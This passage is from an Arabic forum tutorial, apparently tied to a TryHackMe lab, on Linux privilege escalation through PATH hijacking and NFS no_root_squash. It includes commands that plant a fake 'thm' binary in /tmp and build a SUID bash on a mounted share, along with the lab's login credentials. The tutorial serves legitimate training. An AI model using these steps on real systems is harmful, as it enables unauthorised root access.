export PATH=/tmp:$PATH
بهاي النقطة سكريبت الـ path ببحث داخل المجلد tmp/ عن اي ملف قابل للتشغيل اسمه thm

إنشاء هذا الملف سهل نسبيًا
ببساطة بننسخ الملف bin/bash/ باسم thm داخل المجلد tmp/ عن طريق الأمر :
كود:
echo "/bin/bash" > thm
بعدها بنرفع صلاحيات ملفنا thm عن طريق الأمر:
كود:
chmod +x thm

يرجى ملاحظة أنه في هذه المرحلة سيتم تشغيلها بصلاحيات المستخدم الخاصة بنا واللي بخلي تصعيد لصلاحيات أعلى ممكن في هذا السياق هو أن سكربت الـ PATH بشتغل بصلاحيات الـ root

لو نجحنا بتشغيل السكربت PATH بكون الـ thm بنفس الصلاحيات وبما أن الـ PATH بشتغل بصلاحيات الـ root هيك الـ thm بشتغل بصلاحيات الـ root كمان



رفع الصلاحيات باستخدام الـ NFS

نسجل دخول عن طريق الـ ssh بالمعلومات المُعطاة:
اسم المستخدم : karen
الباسورد : Password1

الـ Network File Sharing
موضوع تصعيد الصلاحيات ما بقتصر على الوصول الداخلي فقط حتى الـ Shared folders و (الـ remote management interfaces ) واجهات الإدارة عن بُعد زي SSH و Telnet هدول كلهم ممكن يساعدوك توصل للروت على الجهاز المستهدف

ببعض الحالات ممكن تحتاج تستخدم الإثنين مع بعض , مثلًا لو لقيت مفتاح SSH الخاص بالروت على الجهاز المستهدف بتقدر تتصل فيه باستخدام SSH بصلاحيات الروت بدل ما تحاول ترفع صلاحيات المستخدم الحالي
في شيء ثاني ممكن تلاقيه هو لما يكون في ( Network Shell ) غير مضبوط هاد بحصل أحيانًا باختبارات اختراق الشبكات لما يكون في نظام نسخ احتياطي للشبكة موجود

تكوين الـ NFS يتم حفظه بملف etc/exports/ الملف هاد يتم إنشاءه أثناء تثبيت خادم NFS وعادةً ما يمكن قراءته بواسطة المستخدمين

irDQTze.png

أهم اشي بالموضوع هاد هو الخيار no_root_squash اللي موجود فوق
افتراضيًا الـ NFS بغير المستخدم الجذري إلى nfsnobody وبمحي أي ملف من التشغيل بصلاحيات الـ root

بحالة إذا كان خيار no_root_squash موجودًا على واحد من المسارات بإمكاننا ننشئ ملف قابل للتنفيذ مع تعيين بت SUID وتشغيله على النظام المستهدف

عن طريق الأمر التالي بعرضلنا الـ exported shares من خادم NFS بالعنون ip
كود:
showmount -e ip
CmXPDcv.png
بنربط واحد من اللي فيه no_root_squash على جهازنا يعني بنخليه زي share بيننا وبين السيرفر ( الملفات اللي بتكون موجوده بـ backups بتكون موجوده على جهازنا هيك وبنعطي الصلاحيات عن طريق o- هون أعطيناه الكتابة والقراءة )

DwAB1qs.png
نعمل هاي الخطوات على التحدي الموجود , بعدها بننشئ ملف ونضع بداخله bin/bash/ وبعدها عن طريق gcc بنحول الملف لملف تنفيذي
بنعطي الملف suid على النظام الاساسي ونشغل الملف وهيك بترتفع صلاحيات المستخدم

تطبيق عملي
Soon
.
.
.

تحدي عملي لرفع الصلاحيات

Soon
.
.
.
تم تنزيل المقال هدية للعيد وسيتم إكماله بالأيام المقبلة إن شاء الله
( تم شرح كل المواضيع بالمقال فقط تبقى مثال عملي ويفضل المحاولة به بنفسكم لاختبار مهاراتكم )

وكل عام وأنتم بالف خير وصحة وسلامة
عيد مبارك على الجميع وفرجاً قريبا على فلسطين وأهلها
اللهم فرجاً قريباً ونصراً عاجلاً
ما شاء الله تبارك الرحمن!
ربنا يزيدك من فضله وعلمه
 


السلام عليكم اخي بارك الله فيك موضوع ممتاز
عندي تساؤل بخصوص الأوامر في موقع GTFOBins
هل مثلا عندما تحدتث عن nano الموقع يعطيك هاته الأوامر على اخر version من البرنامج(nano) لو صحيح فهمت لكن ادا كانت نفس الاوامر تشتغل على كل نسخه فهنا اريد ان أسألك هل ليس هناك باتشات لمثل هاته الثغرات ان كان يمكن ان نقول عنها ثغرات أم أن هناك شيء اخر لا علم لدي به بخصوص رفع الصلاحيات و شكرا
 

عودة
أعلى أسفل